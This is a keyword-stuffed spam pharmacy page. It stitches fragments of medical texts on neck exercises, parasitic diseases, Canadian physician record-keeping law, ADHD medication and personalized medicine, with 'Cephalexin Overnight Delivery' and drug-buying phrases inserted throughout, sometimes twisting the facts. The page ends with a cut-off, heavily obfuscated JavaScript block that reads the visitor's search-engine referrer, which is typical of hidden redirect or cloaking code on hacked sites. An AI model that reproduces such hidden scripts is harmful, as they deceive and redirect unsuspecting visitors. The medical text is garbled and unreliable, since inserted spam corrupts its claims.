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In neutral head and cervical spine alignment The chin is not tipped too far up or down Standing up, the head would be balanced Cephalexin overnight Delivery the rib cage, shoulders, and neck To prepare for your head nod exercise lie on your mat, on your back, Cephalexin Overnight Delivery. You will have www.princetonmedical.net Try to incorporate all of the neutral alignments you have learned from reading about the other four principle areas. From the Cephalexin overnight Delivery head and cervical position, simply think of two things: Gently nod the chin towards the chest 2.
While thinking of lengthening the back of the neck Things to remember: The chin moves Cephalexin overnight Delivery the chest, NOT touching the chest, Cephalexin Overnight Delivery. You can compare the chin movements in the circles of picture one and two above. The movement is Cephalexin overnight Delivery small but is more than enough for you to feel the difference when lifting the head up in an exercise. Try lifting your head up without a head nod. Then, try lifting your head up with a head nod first. No thank you Sir! The last picture above is a wonderful example of OVER flexion in a head nod.
This over-works the cervical muscles. You will feel this, in not such a great way, the next day. Because of epidemiologic similarities with infections caused by Borrelia burgdorferi and Ehrlichia spp. The Disease in Animals: In the affected domestic species the symptomatology of babesiosis is similar, cheap Albenza by the triad of fever, anemia, and jaundice. The sensitivity of nervous tissue to anoxia often results in symptoms of agitation and convulsions.
Babesiosis in cattle can range from mild to fatal, Cephalexin Overnight Delivery, and those animals that recover usually harbor a subclinical infection and act as healthy carriers. Calves and young equines 6 to 9 months of age are relatively resistant to the infection and disease, Cephalexin Overnight Delivery. In endemic areas, most animals acquire an asymptomatic infection when they are young that confers premunition i. By contrast, Cephalexin Overnight Delivery, animals arriving from parasite-free areas usually develop a severe form of the disease. Source of Infection and Mode of Transmission: The reservoirs for domestic animals and rodents are other infected generic Januvia Cephalexin overnight Delivery are often healthy carriers.
There have been about eight reports of human Babesia infection due to blood transfusion Mintz et al. Asymptomatic donors carry the infection for up to 12 months after they initially acquire the infection themselves. A diagnosis of generic Avodart should be suspected when the clinical symptoms coincide with an epidemiological history of tick bites or visits to enzootic areas.
It is confirmed in febrile or acute cases when parasites are seen inside ery- throcytes on Giemsa-stained thin or thick blood smears, Cephalexin Overnight Delivery. In more chronic cases with low parasitemia, a diagnosis can be made using serologic examinations such as the Cephalexin overnight Delivery immunofluorescence test or the inoculation of blood into Cephalexin overnight Delivery animals. In chronic cases, or before babesias appear in the blood in detectable numbers, the polymerase chain reaction can be used to detect the specific nucleic acids of the parasite Krause et al. For domestic animals in endemic areas, the most effective control meas- ure is to prevent Cephalexin overnight Delivery infestation by the tick vectors. There is now a vaccine that invokes an immunologic response against Boophilus microplus infestation in cattle; as this tick is the main vector of babesiosis in cattle, the reduction of tick infestation also reduces the transmission of the disease de la Fuente et al.
Since the Cephalexin overnight Delivery infection is usually sporadic and occurs only after visits to endemic areas, it is recommended that on such occasions people use protective clothing or tick repellents, and following the visit, that they examine themselves closely for nymphs, which are very small. Seroepidemiology of emerging tickborne infectious diseases in a Northern California community. Specific diagnosis of pulmonary paragonimiasis is based on the identification of eggs in sputum, fecal matter, pleural effusions, or biopsies. The eggs are reddish brown, operculate, and enlarged at the end opposite the operculum. It is important to differentiate the eggs of Paragonimus from those of other trematodes, as well as cestodes of the order Pseudophyllidea, such as Diphyllobothrium.
The cerebral forms can be mistaken for tumors or cysticercosis, and the cutaneous forms, for other migratory larvae—hence the interest in Cephalexin overnight Delivery indirect tests. An intradermal test that was only weakly sensitive and of questionable specificity was widely used in the Cephalexin overnight Delivery for epidemio- logic purposes. This assay can distinguish infections caused by Cephalexin overnight Delivery species of Paragonimus Kong et al. In addition, the polymerase chain reaction is being used to diagnose parago- nimiasis Maleewong, 1997. For a control program to be effective, it should encompass the entire watershed area and adjacent regions. No parasites could be recovered from mice infected with metacercariae irradiated at 2.
Some of the metacercariae irradiated at 2 kGy excysted and survived in the mice for up to 30 days. Immunoglobulin G IgG subclass and IgE responses in human paragonimiases caused by three different species. Clinical features and epidemiol- ogy of the recent outbreak following the Nigerian civil war. Effect of cobalt-60 irradiation on the infectivity of Paragonimus westermani metacercariae. Paragonimiasis and tuberculosis, diagnostic confusion: A review of the literature. Prevalence and geographical distribution of parasitisation of second intermediate hosts with Paragonimus mex- icanus in Esmeraldas province.
The primary agents of human schistosomiasis are the small blood trematodes Schistosoma mansoni, S. There are 19 recognized species of Schistosoma,but their phylogenetic relationships are complex Rollinson et al. Unlike the other digenic trematodes, which are hermaphrodites, the schistosomes have both male and female forms. Adults live in the venous system of their definitive hosts, where they mate and lay 100 to 3,500 eggs a day, depending on the species. Although all the species have a similar life cycle, there are variations in their required intermediate hosts and in the final local- ization of the adults in the circulatory system.
The eggs are transported by the venous circulation until they form a thrombus, at which point they secrete enzymes that enable them to traverse the wall of the organ and take up residence in the lumen. From the lumen they are eliminated in feces, urine, or other secretions or excretions of the affected organ. The eggs are deposited with a zygote inside, and before leaving the host they develop a larva miracidium. The released miracidia swim in search of a suitable intermediate host, but they lose their infectivity if they fail to find one within about 10 hours.
The snail intermediate hosts belong to the fol- lowing genera: Biomphalaria and Tropicorbis in the case of S. The miracidium penetrates the snail and turns into a mother sporocyst, Cephalexin overnight Delivery forms daughter sporo- cysts Cephalexin overnight Delivery it, and the latter, in turn, produce fork-tailed cercariae. The time lapse between penetration of the miracidium and emergence of cercariae can be as short as 20 days, but it is usually 4 to 7 weeks. Unlike the cercariae of other digenic trematodes, the schistosome cercariae do not form a metacercaria but instead invade the skin of the definitive host directly, often penetrating via the hair follicles or sebaceous glands by enzymatic and mechanical means.
This process has to be completed within 36 hours or the cercaria loses its infec- tivity. Penetration takes only a matter of minutes; the cercaria drops its tail in the course of penetration, and within a few hours, it transforms into a juvenile schistosome schistosomulum, which differs from the cercaria in morphology, antigenicity, and physiology.
The schistosomula travel through the bloodstream to the lungs, where they stop briefly, and then move through the circulatory and porta systems to the liver, where they reach sexual maturity and mate. About three weeks after the initial infec- tion, the parasites travel against the blood flow to the mesenteric, vesical, or pelvic venules, depending on the species. The parasites live for several years, and there have been reports of infections lasting up to 30 years. Direct mortality is relatively low, but the infection poses a public health problem because of the chronic pathology and disability that it pro- duces. It is believed that schistosomiasis was introduced to the Americas by slaves from Africa.
Young persons 10 to 14 years of age were most affected, and the pathology was often severe Stich et al.
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Before the current control program was undertaken, Cephalexin Overnight Delivery, it was esti- mated that more than 10 million people were infected. In Japan, the human infec- tion is largely under control buy Doxycycline only a few hundred carriers remain. In the Americas, Brazil alone has an estimated 8 to 12 million infected individu- als. In that country, tests carried out during preparations for its schistosomiasis con- trol program revealed a positivity rate of 22. The infection has Cephalexin overnight Delivery in some areas because of new irrigation projects and the migration of Cephalexin overnight Delivery populations.
When destroying information, physicians must consider whether it is necessary to destroy the original records and any copies including back-up fles. Physicians should be aware of any specifc obligations imposed on them by their medical regulatory authority College or relevant privacy legislation when destroying clinical records. Before destroying records, it is recommended that a list be made of the names of the patients whose records are to be destroyed.
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The purpose is to be able to later determine at a glance that a Cephalexin overnight Delivery record has been destroyed and has not simply been healthyteethpa.org From a medical liability perspective, Cephalexin Overnight Delivery, the key issues that must be considered in the context of Cephalexin overnight Delivery records are ownership and stewardship of data, privacy and consent, access to and accuracy of information, and secondary use and evidentiary requirements.
Electronic communications Increasingly, physicians are relying on electronic communication channels to deliver care to their patients. There are 3 main digital communication channels available to physicians — email and texting, web or patient portals, and social media platforms. These methods can be accessed from a number of devices, with mobile tools such as smartphones and tablets seeing the greatest growth.
Physicians who communicate via email, text, Cephalexin overnight Delivery media, or web portals need to be Cephalexin overnight Delivery that they are governed by the same legal and professional standards as would apply in other professional settings e. Physicians using new technologies to communicate with patients need to be Cephalexin overnight Delivery of and follow the privacy legislation that applies to their practice and jurisdiction, as well as any requirements from their College. Consideration should be given to security measures and procedures that should be adopted to reduce the risk of privacy breaches.
This includes the use of appropriate protection and privacy settings to avoid the communication of personal health information.
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Physicians need to keep abreast of advances and inform themselves about privacy and security issues related to their jurisdiction and practice environment. Reporting patients unft to drive There is a statutory duty in all jurisdictions related to reporting patients unft to drive. Indeed, Cephalexin Overnight Delivery, failure to report in these Cephalexin overnight Delivery jurisdictions Physicians have constitutes an ofence. Physicians have been Cephalexin overnight Delivery liable for failing to report, notably in those provinces and territories with mandatory requirements, Cephalexin Overnight Delivery.
It is therefore important for physicians to fulfl their statutory duties in a diligent yet sensible manner, reporting those patients who they believe have a medical condition that might reasonably make it dangerous to drive. The duty to report is mandatory even though the information reported may be confdential. Physicians are protected against legal action for making the Cephalexin overnight Delivery report, provided the report was not made maliciously or without reasonable cause. Blood alcohol samples The Criminal Code allows for the taking of blood samples in certain situations.
The police may request a person to provide a blood sample when they believe, on reasonable and probable grounds, that the person has operated a car, boat, railway equipment or aircraft while impaired during the preceding 3 hours and the person is incapable, by reason of a physical condition, of providing a breath sample or it would be impractical to obtain such a sample. A blood sample may also be taken from a person on the basis of a warrant issued by a Justice of the Peace in Cephalexin overnight Delivery circumstances. These warrants may be issued where the Justice of the Peace is satisfed there are reasonable grounds to believe the person has been driving while impaired within the previous 4 hours and was involved in an accident resulting in death or bodily harm to any person, Cephalexin Overnight Delivery.
The Justice of the Peace must also Acquista 100 mg Lasix person is unable to consent to the taking of the sample by reason of any physical or mental condition resulting from the consumption of alcohol, Cephalexin Overnight Delivery, the accident or any other occurrence associated with the accident, and that taking the sample will not endanger the life or health of the person. In these situations, the physician takes the blood sample on the basis of the warrant and not on the basis of consent by the patient. Physicians are not obliged to comply with the police request to take a blood sample. However, any physician who assists the police in taking a blood sample, Cephalexin overnight Delivery by consent or pursuant to a warrant, is protected from criminal or civil liability for anything necessarily done with reasonable care and skill in taking the sample.
Generally, a physician may complete an application for an individual to be conveyed to a psychiatric facility for assessment if the physician has recently within days examined the person and the physician is satisfed that the stated criteria warranting such assessment have been met. The legislation further provides that, once at the psychiatric facility, the individual must be examined by one or more psychiatrists, again within a strict time frame, usually measured in hours.
If the mental disorder and the appropriate criteria are confrmed, a certifcate of Cephalexin overnight Delivery admission is issued. These certifcates are usually valid for a number of days and must be renewed periodically following appropriate examinations of the patient. The legislation in some jurisdictions also provides for procedures whereby the patient may apply to a review board to consider if the certifcate of involuntary admission or its renewal was proper and necessary. At one time, the criteria for psychiatric assessment and involuntary admission were extremely broad, relating solely to the issue of whether or not the individual sufered a mental disorder.
Gradually the criteria were Cephalexin overnight Delivery more restrictive and required that the individual not only sufer There is legislation from a mental disorder but also present a danger or safety risk of self-harm or harm to others. Ontario was the frst jurisdiction to enact Cephalexin overnight Delivery harm and for Cephalexin overnight Delivery imminence criteria for involuntary admission, although it subsequently amended the Mental Health Act150 to repeal the imminence criterion. More recently, some provinces have broadened the involuntary admission process by providing alternatives to the harm criterion.
In addition purchase generic cephalexin online antibiotic resistance and evolution, an older adolescent or emerging young adult may have used a number of creative solutions to problem solve in the process of growing up buy cheap cephalexin 750mg online bacteria 1 in urinalysis. Early diagnosis and treatment can help these individuals learn how to manage their symptoms and succeed in life.
One example involves the new scientific field of 47 pharmacogenomics where research aims to determine which medication works best for which child. In addition, this type of research aims to discover the Cephalexin overnight Delivery dose of that medication to use, thereby optimizing treatment for the individual child. If you are reading a printed copy of this manual you may wish to go to this website to have access to the links embedded in the manual. Identifying and treating Attention Deficit Hyperactivity Disorder: Theaching children with Attention Deficit Hyperactivity Disorder: Students with Disabilities Preparing for Postsecondary Education: Know Your Rights and Responsibilities.
Protecting Students with Disabilities: Euthymics, Cephalexin Overnight Delivery, Shire Pharmaceuticals, Inc. Attention deficit hyperactivity disorder among children Cephalexin overnight Delivery 5-17 years in the United States, 1998-2009, Cephalexin Overnight Delivery. Secondhand smoke exposure and neurobehavioral disorders among children in the United States.
Diagnosis, Lifespan, Comorbidities, and Neurobiology. Effects of diets Cephalexin overnight Delivery in sucrose or aspartame on the behavior and Cephalexin overnight Delivery performance of children. Progress and promise of attention-deficit hyperactivity disorder pharmacogenetics. The information Cephalexin overnight Delivery in this guide is not Cephalexin overnight Delivery as, and is not a substitute for, professional medical advice. No pharmaceutical funding was used in the development or maintenance of this guide.
The promise of personalized medicine is to get the right treatment to the right patient at the right dose the first time through the use of molecular biomarker tests and targeted therapies. Personalized medicine, sometimes referred to as precision or individualized medicine, is an emerging field of medicine that uses diagnostic tools to identify specific biological markers, Cephalexin Overnight Delivery, often Cephalexin overnight Delivery, to help assess which medical treatments and procedures will be best for each patient.
A biomarker is a characteristic that is objectively measured and evaluated as an indicator of normal biologic processes, disease processes, or biological responses to a therapeutic intervention. Biomarkers Help Inform Medical Decisions: Molecular Biomarkers Can Include: Targeted therapies – identify and attack specific types of cancer cells with less harm to normal cells; Cytotoxics — agents that kill rapidly developing cells as in chemotherapy ; Supportive care – care given to improve Cephalexin overnight Delivery of life by preventing or treating the symptoms of a disease or the effects of its treatment; Hormonals – treatments that add, block, or remove hormones to slow or stop the growth of certain cancers.
From helping patients live longer and healthier lives to creating efficiencies in health care, these new personalized medicines are bringing great value to patients and the health care system. But they deliver Cephalexin overnight Delivery value to patients and may help Cephalexin overnight Delivery overall health care spending. In order to keep health care affordable, health insurance companies should not cover these tests and treatments. These medicines target proteins that prevent the immune system from attacking cancer cells. Increased cancer cell growth Sources: Together purchase cephalexin 500 mg otc Cephalexin overnight Delivery underwear for men, parent and teacher reports enable doctors to better adjust medication dosage or switch medications when needed purchase cephalexin line antibiotic 7244 93.
Response to treatment with stimulant medications is quickly evident at a particular dose but non-stimulants may take up to six weeks to work cheap cephalexin uk antibiotic resistance by area. However, subtle differences in the delivery and absorption of the active or therapeutic ingredients, inactive ingredients that influence taste and texture, preservatives, and other features may result in different responses between brand and generic medications. This can result in variability amongst the generic preparations and may affect response to the medication. Costs of medications, both brand name and generics, vary greatly depending on insurance coverage and pharmacies. To avoid medication that is too expensive, families should discuss medication costs with the prescribing doctor.
The other is the shortage of certain brand and generic medications, including stimulants. Shortages of Stimulant Medications In recent years, serious shortages of stimulant medications have been observed in the U. The ability to report changes in their nd rd Cephalexin overnight Delivery feelings tends to increase with development. However, including Cephalexin overnight Delivery the tropical zones and many temperate areas as well, adolescents also may perceive that medication makes them less appealing, Cephalexin Overnight Delivery, including both the tropical zones and many temperate areas as well!
CGoYwT
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,54,51,56,53,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,75,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(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